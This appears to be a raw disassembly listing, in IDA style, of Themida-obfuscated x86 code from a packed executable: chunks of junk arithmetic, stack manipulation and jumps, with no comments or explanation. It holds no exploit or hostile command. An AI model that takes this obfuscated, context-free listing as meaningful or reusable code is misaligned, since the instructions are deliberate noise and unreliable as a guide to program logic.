loc_5532DB:				; CODE XREF: sub_556A70-DC9j
		mov	dx, cx
		mov	ecx, [esp-1Eh+arg_18+2]
		jmp	loc_559671
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	0C73h
		mov	[esp], ebx
		mov	ebx, esp
		push	edi
		mov	edi, 4
		jmp	loc_554BFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55319E


loc_5532FF:				; CODE XREF: sub_55319E+31Cj
		dec	ecx
		xor	ecx, 3D8C55AEh
		xor	ebx, ecx
		pop	ecx
		push	ebx
		pop	edi
		pop	ebx
		add	eax, 1DB67F57h
		add	eax, 12F945F2h
		add	eax, edi
		sub	eax, 12F945F2h
		sub	eax, 1DB67F57h
		pop	edi
		xchg	eax, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		cmp	cl, al
		pushf
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_55319E
; ---------------------------------------------------------------------------


loc_553331:				; CODE XREF: Themida_:005597FDj
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_553336:				; CODE XREF: Themida_:00550DE2j
		not	al
		mov	dh, al
		pop	eax
		xor	dh, 0E3h
		dec	dh
		not	dh
		not	dh
		add	dh, 16h
		add	dh, 38h
		add	ah, dh
		pop	edx
		add	dh, ah
		pop	eax
		add	dh, 0AFh
		mov	cx, [esp]
		add	esp, 2
		add	al, dh
		mov	edx, [esp]
		add	esp, 4
		push	2D84h
		mov	[esp], ecx
		push	edx
		push	eax
		mov	al, 75h
		shl	al, 4
		push	ebx
		mov	bl, 73h
		jmp	loc_55BCE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553A74


loc_55337F:				; CODE XREF: sub_553A74+12j
		add	eax, 800005h
		add	ecx, 531B33B9h
		jmp	loc_5594DE
; END OF FUNCTION CHUNK	FOR sub_553A74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5565AD


loc_55338F:				; CODE XREF: sub_5565AD+11j
		pop	esi
		jmp	sub_5547A1
; END OF FUNCTION CHUNK	FOR sub_5565AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_553395:				; CODE XREF: sub_556A70-563Bj
		add	bl, 0CDh
		jmp	loc_558BE5
; ---------------------------------------------------------------------------


loc_55339D:				; CODE XREF: sub_556A70+62ECj
		add	ebx, eax
		push	3B42h
		jmp	loc_554361
; ---------------------------------------------------------------------------


loc_5533A9:				; CODE XREF: sub_556A70-18DDj
		add	esi, 0EA924FBDh
		jmp	loc_55A0B4
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5533B4:				; CODE XREF: Themida_:0055656Dj
		add	esp, 4
		jmp	loc_558C4B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5533BC:				; CODE XREF: sub_556A70+B89j
		xchg	edi, [esp-14h+arg_10]
		mov	esp, [esp-14h+arg_10]
		add	esp, 4
		div	ecx
		push	5FE0h
		mov	[esp-14h+arg_10], edx
		jmp	sub_55C607
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5533D7:				; CODE XREF: Themida_:00551D9Ej
		shr	edx, 8
		sub	edx, 0FFFFFFFFh
		sub	edx, 0FFFFFFFFh
		not	edx
		jmp	loc_5514E4
; ---------------------------------------------------------------------------


loc_5533EA:				; CODE XREF: Themida_:0055242Aj
		pop	ebx
		inc	esi
		jmp	loc_551BCF
; ---------------------------------------------------------------------------


loc_5533F1:				; CODE XREF: Themida_:00552122j
		add	ebp, 0FFBBBBFCh
		add	eax, ebp
		pop	ebp
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, 637B3826h
		xor	ebp, 287C5299h
		inc	ebp
		inc	ebp
		or	ebp, 1AB70091h
		add	ebp, 0A4489533h
		jmp	loc_551346
; ---------------------------------------------------------------------------


loc_553428:				; CODE XREF: Themida_:0055398Cj
		push	32C1h
		mov	[esp], ebx
		mov	bl, 64h
		push	eax
		mov	al, 0FFh
		jmp	loc_559C7B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55343A:				; CODE XREF: sub_556A70-3015j
		mov	word ptr [esp-14h+arg_10], cx
		push	edx
		mov	dh, 8Fh
		sub	dh, 1
		add	dh, 8Eh
		jmp	loc_55389C
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55344C:				; CODE XREF: Themida_:0055AF14j
		not	bh
		shr	bh, 3
		sub	bh, 53h
		shr	bh, 5
		xor	bh, 0BEh
		jmp	loc_556086
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55345F:				; CODE XREF: sub_556A70+10F3j
		mov	eax, ebx
		push	ecx
		mov	ecx, eax
		push	ecx
		push	esi
		push	ebp
		mov	ebp, 6EC2770Dh
		jmp	loc_5541AC
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_553471:				; CODE XREF: Themida_:005591C7j
		mov	ah, 44h
		sub	ah, 0FFh
		jmp	loc_5569E7
; ---------------------------------------------------------------------------


loc_55347B:				; CODE XREF: Themida_:0055952Fj
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_555F0B
; ---------------------------------------------------------------------------


loc_55348A:				; CODE XREF: Themida_:00553122j
		mov	[esp], ebp
		mov	ebp, 65605812h
		shl	ebp, 4
		xor	ebp, 6409AA4h
		add	eax, ebp
		pop	ebp
		push	dword ptr [esp]
		pop	ebp
		push	4820h
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_55CCBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55319E


loc_5534B1:				; CODE XREF: sub_55319E+6j
		and	ecx, ebp
		pop	ebp
		add	ecx, 24A253A7h
		jmp	loc_5532FF
; END OF FUNCTION CHUNK	FOR sub_55319E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B74


loc_5534BF:				; CODE XREF: sub_552B74+8C87j
		pop	ecx
		push	esi
		mov	esi, esp
		jmp	loc_552F85
; END OF FUNCTION CHUNK	FOR sub_552B74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5534C8:				; CODE XREF: sub_556A70-F78j
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		xor	ebx, eax
		jmp	loc_552201
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		push	5B03h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 4
		sub	eax, esi
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_559478
; ---------------------------------------------------------------------------


loc_553506:				; CODE XREF: Themida_:00558814j
		pop	esi
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ebx
		jmp	loc_558CE5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5582B3


loc_553517:				; CODE XREF: sub_5582B3+4709j
		sub	ebx, 111C342Dh
		jmp	loc_55647C
; END OF FUNCTION CHUNK	FOR sub_5582B3
; ---------------------------------------------------------------------------
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_5590C4
		push	edx
		mov	edx, 6F3F3CFEh
		add	edx, 0FFFFFFFFh
		xor	edx, 3D716FA8h
		dec	edx
		and	edx, 520B17CDh
		xor	edx, 8CE3967h
		push	ebx
		mov	ebx, 29511E93h
		jmp	loc_55C811
; ---------------------------------------------------------------------------


loc_553557:				; CODE XREF: Themida_:00555D78j
		mov	eax, 0
		jmp	loc_555085
; ---------------------------------------------------------------------------


loc_553561:				; CODE XREF: Themida_:00555936j
		add	ebp, edi
		pop	edi
		push	5B28h
		mov	[esp], ebx
		mov	ebx, 275B7CC7h
		jmp	loc_5569D0
; ---------------------------------------------------------------------------


loc_553576:				; CODE XREF: Themida_:0055A5A2j
		not	dh
		push	ecx
		mov	ch, dh
		mov	dh, bh
		mov	bh, ch
		pop	ecx
		sub	bh, 4Ch
		dec	bh
		not	bh
		xor	bh, 0BFh
		mov	dh, bh
		pop	ebx
		add	al, dh
		jmp	loc_5521DB
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		jmp	loc_5530C9
; ---------------------------------------------------------------------------


loc_55359C:				; CODE XREF: Themida_:00551E2Dj
		xor	ecx, 638A5D10h
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55A9FB
; ---------------------------------------------------------------------------


loc_5535B8:				; CODE XREF: Themida_:005562A6j
		add	[esp+4], eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_55CD85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_5535CB:				; CODE XREF: sub_5584F8-330Cj
		shl	esi, 6
		and	esi, 6DC4579Dh
		dec	esi
		jmp	loc_55B363
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------


loc_5535DA:				; CODE XREF: Themida_:005558CCj
		push	ebx
		jmp	loc_55934B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A6CD


loc_5535E0:				; CODE XREF: sub_55A6CD+9j
		xchg	esi, [esp+0]
		jmp	loc_557FB9
; END OF FUNCTION CHUNK	FOR sub_55A6CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5566B9


loc_5535E8:				; CODE XREF: sub_5566B9-500Dj
		add	ecx, ebp
		push	ebx
		mov	ebx, 70850C20h
		add	ecx, 17115A95h
		sub	ecx, ebx
		sub	ecx, 17115A95h
		pop	ebx
		jmp	loc_5566E0
; END OF FUNCTION CHUNK	FOR sub_5566B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_553604:				; CODE XREF: sub_556A70-2BDAj
		not	ebx
		sub	ebx, 57E37E7h
		jmp	loc_556929
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_553611:				; CODE XREF: Themida_:0055B903j
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	small word ptr [eax]
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_553621:				; CODE XREF: Themida_:00558BAFj
		not	bh
		or	bh, 38h
		neg	bh
		xor	bh, 56h
		add	bh, 22h
		add	al, bh
		pop	ebx
		push	edx
		jmp	loc_554CA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5553D0


loc_553637:				; CODE XREF: sub_5553D0+413Bj
		add	bl, al
		sub	bl, 67h
		jmp	sub_55A5DF
; END OF FUNCTION CHUNK	FOR sub_5553D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_553641:				; CODE XREF: sub_556A70+2DF2j
		push	eax
		mov	eax, 0DA26BF41h
		add	edx, eax
		pop	eax
		mov	eax, edx
		jmp	loc_558FE0
; END OF FUNCTION CHUNK	FOR sub_556A70

; =============== S U B	R O U T	I N E =======================================



sub_553651	proc near		; CODE XREF: sub_556A70-5D6Cj
					; sub_556A70+97Dj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00551CE3 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005529A9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00554CAC SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00556447 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005585CE SIZE 00000057 BYTES
; FUNCTION CHUNK AT 0055A02F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055B004 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0055C638 SIZE 0000000F BYTES

		push	ebx
		jmp	loc_55A02F
sub_553651	endp


; =============== S U B	R O U T	I N E =======================================



sub_553657	proc near		; CODE XREF: sub_556A70-349j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00551A02 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0055A79A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055BAFA SIZE 0000000B BYTES

		sub	esp, 4
		mov	[esp-4+arg_0], eax
		push	2F4C0224h
		mov	eax, [esp+0]
		jmp	loc_551A02
sub_553657	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55366A:				; CODE XREF: sub_556A70-5D60j
		push	2C04h
		mov	[esp-4+arg_0], ecx
		push	5F4h
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		pop	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		push	ebp
		mov	ebp, 484F0FBBh
		add	ebp, 1
		jmp	loc_557898
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_553699:				; CODE XREF: Themida_:00555FC1j
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_55BE8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553B16


loc_5536A4:				; CODE XREF: sub_553B16+Bj
		add	ecx, 4
		add	ecx, 4
		jmp	loc_55881F
; END OF FUNCTION CHUNK	FOR sub_553B16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5536B2:				; CODE XREF: sub_556A70-4D9Ej
		add	ebx, eax
		sub	ebx, 509248F3h
		push	3C8Dh
		mov	[esp+8+var_8], eax
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5536C7:				; CODE XREF: Themida_:00555F8Fj
		add	[esp+4], esi
		mov	esi, [esp]
		jmp	loc_551B0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5536D3:				; CODE XREF: sub_556A70+1780j
		mov	ebp, 270C06A0h
		shr	ebp, 3
		xor	ebp, 4E180D0h
		add	edi, 35A35F6Dh
		sub	edi, ebp
		sub	edi, 35A35F6Dh
		push	[esp+8+var_8]
		pop	ebp
		add	esp, 4
		xchg	edi, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ebx
		sub	dword ptr [esp+0], 30F3195Fh
		pop	eax
		add	eax, 30F3195Fh
		push	7CB7h
		mov	[esp+0], edi
		push	3B4B1C80h
		pop	edi
		push	4F56h
		mov	[esp+4+var_4], ebp
		push	esi
		jmp	loc_5556B3
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B74


loc_553729:				; CODE XREF: sub_552B74+7309j
		add	esp, 2
		push	ecx
		jmp	loc_5510E0
; END OF FUNCTION CHUNK	FOR sub_552B74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_553735:				; CODE XREF: sub_556A70-46ACj
		push	edx
		mov	edx, 2DA856A1h
		dec	edx
		add	edx, 0FB0F0851h
		jmp	loc_55532E
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_553747:				; CODE XREF: Themida_:0055BFD5j
		add	edi, 22D409ACh
		add	edi, 2DF96E72h
		pop	ebp
		jmp	loc_55B14A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_553759:				; CODE XREF: sub_556A70-37F5j
		sub	edi, 0DA40F45h
		sub	edi, 0A33326ADh
		add	eax, edi
		pop	edi
		add	eax, 4
		jmp	loc_559E0E
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_553770:				; CODE XREF: Themida_:005590D2j
		push	esi
		mov	esi, 6F3C6C79h
		sub	[esp+8], esi
		pop	esi
		add	dword ptr [esp+4], 5361318h
		add	[esp+4], esi
		sub	dword ptr [esp+4], 5361318h
		add	dword ptr [esp+4], 6F3C6C79h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_553917
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5537A2:				; CODE XREF: sub_556A70-6000j
		mov	cl, dl
		pop	dx
		jmp	loc_55CD61
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556769


loc_5537AB:				; CODE XREF: sub_556769+1j
		mov	ebx, 34A83382h
		add	ebp, ebx
		jmp	loc_558B7D
; END OF FUNCTION CHUNK	FOR sub_556769
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5537B7:				; CODE XREF: sub_556A70+2923j
		add	esi, 4
		jmp	loc_559251
; ---------------------------------------------------------------------------


loc_5537BF:				; CODE XREF: sub_556A70+2D4Dj
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_554778
; ---------------------------------------------------------------------------


loc_5537CD:				; CODE XREF: sub_556A70-16A5j
		pop	ebp
		add	eax, 2
		push	eax
		jmp	loc_55A60B
; ---------------------------------------------------------------------------


loc_5537D7:				; CODE XREF: sub_556A70-12E7j
		xor	ebx, eax
		pop	eax
		push	ebp
		mov	ebp, 49504412h
		add	ebp, 726F52C9h
		and	ebp, 6F4B0330h
		not	ebp
		push	edx
		mov	edx, 5170308Dh
		add	ebp, edx
		jmp	loc_551D03
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5537FB:				; CODE XREF: Themida_:00558E44j
		neg	eax
		shr	eax, 7
		push	ebp
		mov	ebp, 1315497Fh
		add	ebp, 0A89192BFh
		sub	eax, ebp
		pop	ebp
		add	ebp, eax
		pop	eax
		pop	edx
		push	6E50h
		mov	[esp], ebp
		jmp	loc_556C7D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_553820:				; CODE XREF: sub_556A70+3420j
		mov	[esp+0Ch+var_C], ecx
		mov	ecx, 1
		push	2345h
		mov	[esp+10h+var_10], edx
		mov	edx, 24h
		add	edx, 2F38086Ch
		add	edx, 7C0B03B8h
		jmp	loc_557669
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_553846:				; CODE XREF: Themida_:0055A416j
		and	[edi+1Ch], eax
		push	dword ptr [esp]
		pop	eax
		push	5C4h
		mov	[esp], ecx
		jmp	loc_55450D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B74


loc_55385A:				; CODE XREF: sub_552B74+90ECj
		add	al, 1Fh
		jmp	loc_559E79
; END OF FUNCTION CHUNK	FOR sub_552B74
; ---------------------------------------------------------------------------


loc_553861:				; CODE XREF: Themida_:0055BD81j
		pop	ecx
		mov	edi, [esp]
		add	esp, 4
		add	esi, 2
		xchg	esi, [esp]
		pop	esp
		mov	cx, [esp]
		push	37BFh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	755h
		mov	[esp], edx
		push	edi
		mov	edi, 4
		mov	edx, edi
		pop	edi
		jmp	loc_552BD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55389C:				; CODE XREF: sub_556A70-3629j
		mov	ch, dh
		jmp	loc_555E5D
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5538A3:				; CODE XREF: Themida_:00557C94j
		mov	edx, 5350002h
		add	edx, 35B0557h
		jmp	loc_55C46E
; ---------------------------------------------------------------------------


loc_5538B3:				; CODE XREF: Themida_:00554E09j
		pop	ecx
		push	eax
		push	ecx
		jmp	loc_55BF6F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		jmp	loc_55CE06
; ---------------------------------------------------------------------------


loc_5538E8:				; CODE XREF: Themida_:0055AE35j
		pop	eax
		push	edx
		jmp	loc_556E10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5538EF:				; CODE XREF: sub_556A70+F5Dj
		mov	bh, 25h
		add	al, bh
		jmp	loc_551927
; ---------------------------------------------------------------------------


loc_5538F8:				; CODE XREF: sub_556A70+F6Ej
		add	edx, ebx
		pop	ebx
		add	edi, 7B1E002Dh
		sub	edi, edx
		sub	edi, 7B1E002Dh
		mov	edx, [esp-14h+arg_10]
		add	esp, 4
		jmp	loc_55ABB5
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_553917:				; CODE XREF: Themida_:0055379Dj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_554C87
; ---------------------------------------------------------------------------


loc_553925:				; CODE XREF: Themida_:0055885Aj
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_554BD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_553938:				; CODE XREF: sub_556A70+AFj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp-18h+arg_14]
		pop	esp
		mov	[esp-1Ch+arg_18], edi
		mov	edi, esp
		jmp	loc_555DD2
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_553951:				; CODE XREF: Themida_:0055AAC2j
		pop	eax
		xor	ecx, ebx
		jmp	loc_550E34
; ---------------------------------------------------------------------------


loc_553959:				; CODE XREF: Themida_:0055AF74j
		mov	eax, esp
		push	ecx
		jmp	loc_558308
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_553961:				; CODE XREF: sub_556A70-243j
		mov	[esp-1Ch+arg_18], edx
		mov	dh, 7Fh
		mov	cl, dh
		jmp	loc_555643
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55396D:				; CODE XREF: Themida_:00559373j
		mov	ebx, 20CE5569h
		jmp	loc_553CD5
; ---------------------------------------------------------------------------


loc_553977:				; CODE XREF: Themida_:00555B75j
		sub	esp, 2
		mov	[esp], bx
		mov	bl, 26h
		xor	cl, bl
		mov	bx, [esp]
		add	esp, 2
		jmp	loc_553428
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5525ED


loc_553991:				; CODE XREF: sub_5525ED+3j
		mov	[esp+4+var_4], ebx
		mov	ebx, 4
		jmp	loc_5575DE
; END OF FUNCTION CHUNK	FOR sub_5525ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559D5E


loc_55399E:				; CODE XREF: sub_559D5E-48E8j
		xchg	eax, [esp+8+var_8]
		pop	esp
		xchg	edi, [esp+4+var_4]
		pop	esp
		mov	[esp+0], edi
		push	edx
		push	35807FC2h
		jmp	loc_557001
; END OF FUNCTION CHUNK	FOR sub_559D5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5539B4:				; CODE XREF: sub_556A70+1FC4j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp-18h+arg_14]
		pop	esp
		mov	[esp-1Ch+arg_18], ebx
		jmp	sub_55B730
; ---------------------------------------------------------------------------


loc_5539CF:				; CODE XREF: sub_556A70+23B3j
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp-20h+arg_1C]
		jmp	loc_5583F6
; END OF FUNCTION CHUNK	FOR sub_556A70

; =============== S U B	R O U T	I N E =======================================



sub_5539DB	proc near		; CODE XREF: sub_556A70-278Bj

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00551374 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00551CB8 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055406F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005587AF SIZE 00000038 BYTES
; FUNCTION CHUNK AT 00558EFB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055913B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055A719 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055A771 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0055BA4E SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0055CB36 SIZE 0000000E BYTES

		push	ebx
		push	edi
		mov	edi, 5DBF2147h
		and	edi, 4DC0499h
		push	edx
		jmp	loc_55A771
sub_5539DB	endp

; ---------------------------------------------------------------------------


loc_5539EE:				; CODE XREF: Themida_:005583DAj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	ecx
		mov	ecx, 19F85E9Eh
		shl	ecx, 4
		jmp	loc_557A49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_553A07:				; CODE XREF: sub_556A70+3829j
		pop	ecx
		push	ebx
		pop	esi
		mov	ebx, [esp-24h+arg_20]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55229F
; ---------------------------------------------------------------------------


loc_553A21:				; CODE XREF: sub_556A70+C82j
		push	3983h
		mov	[esp-1Ch+arg_18], eax
		mov	eax, 24h
		sub	esp, 4
		mov	[esp-18h+arg_14], eax
		mov	eax, 442F1D68h
		add	esi, eax
		pop	eax
		add	esi, eax
		push	ebx
		push	ebp
		mov	ebp, 3FF1368Dh
		jmp	loc_55686F
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_553A4D:				; CODE XREF: Themida_:00558D6Cj
		push	0
		jmp	loc_555052
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_553A57:				; CODE XREF: sub_556A70+449j
		push	small 15EAh
		jmp	loc_55343A
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B74


loc_553A60:				; CODE XREF: sub_552B74+77BCj
		add	ah, 42h
		or	ah, 0E5h
		push	edx
		mov	dl, 6Eh
		add	ah, dl
		pop	edx
		sub	ah, 28h
		jmp	loc_55BC44
; END OF FUNCTION CHUNK	FOR sub_552B74

; =============== S U B	R O U T	I N E =======================================



sub_553A74	proc near		; CODE XREF: sub_556A70-181Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0055337F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005594DE SIZE 0000002A BYTES

		push	ebp
		mov	ebp, 5B054953h
		add	ebp, 0A4FAB6AEh
		mov	edi, ebp
		pop	ebp
		sub	eax, edi
		pop	edi
		jmp	loc_55337F
sub_553A74	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		push	ebp
		mov	ebp, 282858FEh
		jmp	loc_55B73B
; ---------------------------------------------------------------------------


loc_553AA3:				; CODE XREF: Themida_:005531FAj
		sub	dh, 0AFh
		push	ecx
		mov	cl, 0B3h
		jmp	loc_5599EA
; ---------------------------------------------------------------------------


loc_553AAE:				; CODE XREF: Themida_:00556399j
		mov	edx, [esp]
		add	esp, 4
		push	784Eh
		mov	[esp], ebx
		jmp	loc_55A2CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_553AC4:				; CODE XREF: sub_556A70+5868j
		push	esp
		pop	ecx
		push	eax
		push	ebp
		mov	ebp, 50EF5254h
		shr	ebp, 1
		jmp	loc_552248
; ---------------------------------------------------------------------------


loc_553AD4:				; CODE XREF: sub_556A70+5485j
		sub	ax, si
		mov	esi, [esp-0Ah+arg_4+2]
		add	esp, 4
		push	small 257Dh
		mov	word ptr [esp-0Ch+arg_8], dx
		jmp	loc_556BBD
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_553AEA:				; CODE XREF: Themida_:0055CEA5j
		push	esp
		pop	edx
		push	ecx
		push	3872A9Ch
		mov	ecx, [esp]
		add	esp, 4
		shr	ecx, 8
		shr	ecx, 6
		push	ecx
		push	eax
		jmp	loc_553C8C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B74


loc_553B05:				; CODE XREF: sub_552B74+187Aj
		pop	esp
		retn
; END OF FUNCTION CHUNK	FOR sub_552B74
; ---------------------------------------------------------------------------
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_553B0C:				; CODE XREF: Themida_:0055CD34j
		pop	esp
		mov	[esp], cx
		jmp	loc_550A46

; =============== S U B	R O U T	I N E =======================================



sub_553B16	proc near		; CODE XREF: sub_556A70+E01j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005527FB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00552FB8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005536A4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055881F SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00559414 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055A84A SIZE 00000031 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, esp
		jmp	loc_5536A4
sub_553B16	endp

; ---------------------------------------------------------------------------


